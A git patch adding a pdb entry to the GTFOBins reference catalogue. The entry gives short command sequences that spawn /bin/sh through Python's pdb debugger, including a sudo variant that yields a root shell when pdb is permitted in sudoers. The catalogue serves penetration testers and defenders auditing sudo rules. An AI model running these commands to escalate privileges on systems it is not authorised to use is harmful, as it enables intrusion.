From 41124f24c2cd68aca27c71b12f683cc55dbda89a Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Mar 2020 16:39:31 +1100 Subject: [PATCH] Create pdb.md --- _gtfobins/pdb.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 _gtfobins/pdb.md diff --git a/_gtfobins/pdb.md b/_gtfobins/pdb.md new file mode 100644 index 0000000..747bccf --- /dev/null +++ b/_gtfobins/pdb.md @@ -0,0 +1,15 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp -d) + echo 'import os; os.system("/bin/sh")' > $TF/x + pdb $TF/x + cont + sudo: + - code: | + TF=$(mktemp -d) + echo 'import os; os.system("/bin/sh")' > $TF/x + sudo pdb $TF/x + cont +---